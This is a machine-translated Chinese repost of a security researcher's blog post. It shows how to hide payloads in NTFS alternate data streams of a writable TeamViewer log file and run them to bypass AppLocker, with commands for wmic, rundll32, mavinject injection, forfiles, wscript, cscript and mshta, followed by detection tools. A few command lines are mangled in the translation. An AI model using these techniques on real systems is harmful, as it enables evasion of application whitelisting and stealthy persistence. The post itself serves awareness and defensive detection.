Putting data in Alternate data streams and how to execute it

我总是对ADS(备用数据流)有着浓厚的兴趣,并将其用作持久性的一部分。我作为一个持久性技术的第一次见面是当Matt Nelson aka @ Enigma0x3写了一篇关于使用它的博客帖子:https: //enigma0x3.net/2015/03/05/using-alternate-data-streams-to-persist-on -a受损机/

不久前我已经开始使用AppLocker旁路来创建一个工具,不知何故,我看到了一个闪光的东西,我只是看看。我使用Accesschk.exe对AppLocker测试系统进行了常规检查,并在Teamviewer文件夹中发现了一个可写的文件。
一个日志文件是确切的。这使我发现,您可以将数据注入到该文件的备用流中,执行它,它将作为AppLocker旁路工作。
我在这里发布了一条关于此的推文:https: //twitter.com/Oddvarmoe/status/951757732557852673

(荣誉TeamViewer从他们的侧面来看问题)

以下是我找到的旁路屏幕截图:

所以我所做的是我首先使用这个命令将有效载荷注入到日志文件的ADS中:

"type c:\temp\bginfo.exe > "C:\program files (x86)\Teamviewer\TeamViewer12_Logfile.log:bginfo.exe"

然后我使用下面的命令来执行它:

"wmic process call create '"C:\program files (x86)\Teamviewer\TeamViewer12_Logfile.log:bginfo.exe"'

在我看完这个旁路后,我更加好奇。哪些其他进程可以从ADS执行?

我做了一些谷歌搜索ADS,发现在你可以使用的日子回来:

start c:\folder\file.exe:ADSStream.exe

从ADS启动可执行文件。
这现在被阻止。

经过一些测试,搜索和玩耍,我发现以下几点,至少可以从ADS执行(我相信还有几百个):

RUNDLL32.EXE

type "C:\temp\messagebox64.dll" > "C:\Program Files (x86)\TeamViewer\TeamViewer13_Logfile.log:ADSDLL.dll"

rundll32 "C:\Program Files (x86)\TeamViewer\TeamViewer13_Logfile.log:ADSDLL.dll",DllMain
Mavinject.exe

c:\windows\SysWOW64\notepad.exe

tasklist | findstr notepad

type C:\temp\AtomicTest.dll > ""C:\Program Files (x86)\TeamViewer\TeamViewer13_Logfile.log:Atomic.dll"

C:\windows\WinSxS\wow64_microsoft-Windows-appmanagement-appvwow_31bf3856ad364e35_10.0.16299.15_none_e07aa28c97ebfa48\mavinject.exe 4172 /INJECTRUNNING "C:\Program Files (x86)\TeamViewer\TeamViewer13_Logfile.log:Atomic.dll"
Forfiles.exe

在我的测试中,文件不是很喜欢路径中的空间。所以看来你必须使用8.3文件夹名称出于某种原因。

forfiles /P C:\windows\system32 /m notepad.exe /c "c:\Progra~2\Teamviewer\TeamViewer13_Logfile.log:bginfo2.exe"

Wscript.exe

type "C:\Program Files\test\wscripthello.vbs" > "C:\Program Files (x86)\TeamViewer\TeamViewer13_Logfile.log:wscripts.vbs"

wscript "C:\Program Files (x86)\TeamViewer\TeamViewer13_Logfile.log:wscripts.vbs"
Cscript.exe

cscript "C:\Program Files (x86)\TeamViewer\TeamViewer13_Logfile.log:wscripts.vbs"

MSHTA.exe

type C:\temp\helloworld.hta > wscript "C:\Program Files (x86)\TeamViewer\TeamViewer13_Logfile.log:helloworld.hta"

mshta "C:\Program Files (x86)\TeamViewer\TeamViewer13_Logfile.log:helloworld.hta"

我很确定,这不是ADS可以执行的任何事情。这只是我玩这个游戏时发现的一些例子。我在这篇文章中的观点是提高对备用数据流的认识。如果你没有检查你的文件/文件夹ADS内的恶意活动,我建议你开始。而已。

更新18.01.2018:
我将这些方法添加到这里找到的GIST: https ://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f
当我发现新的方法时,将尽量保持更新。

我也被问到如何检测这些备用数据流。有几个实用程序可以查看ADS。

Dir / rc:\ fileorfolder
https://docs.microsoft.com/en-us/sysinternals/downloads/streams
https://www.nirsoft.net/utils/alternate_data_streams.html

Sysmon还提供了对ADS AFAIK的一些监控。
https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon
https://twitter.com/SwiftOnSecurity/status/952659933836791808

还有一些PowerShell脚本可以使用。
https://github.com/forgottentq/powershell/blob/master/find-steams.ps1
https://github.com/p0shkatz/Get-ADS


文章转载请注明出处:https://www.freearoot.com/index.php/putting-data-in-alternate-data-streams-and-how-to-execute-it.html

文章来源:https://oddvar.moe/2018/01/14/putting-data-in-alternate-data-streams-and-how-to-execute-it/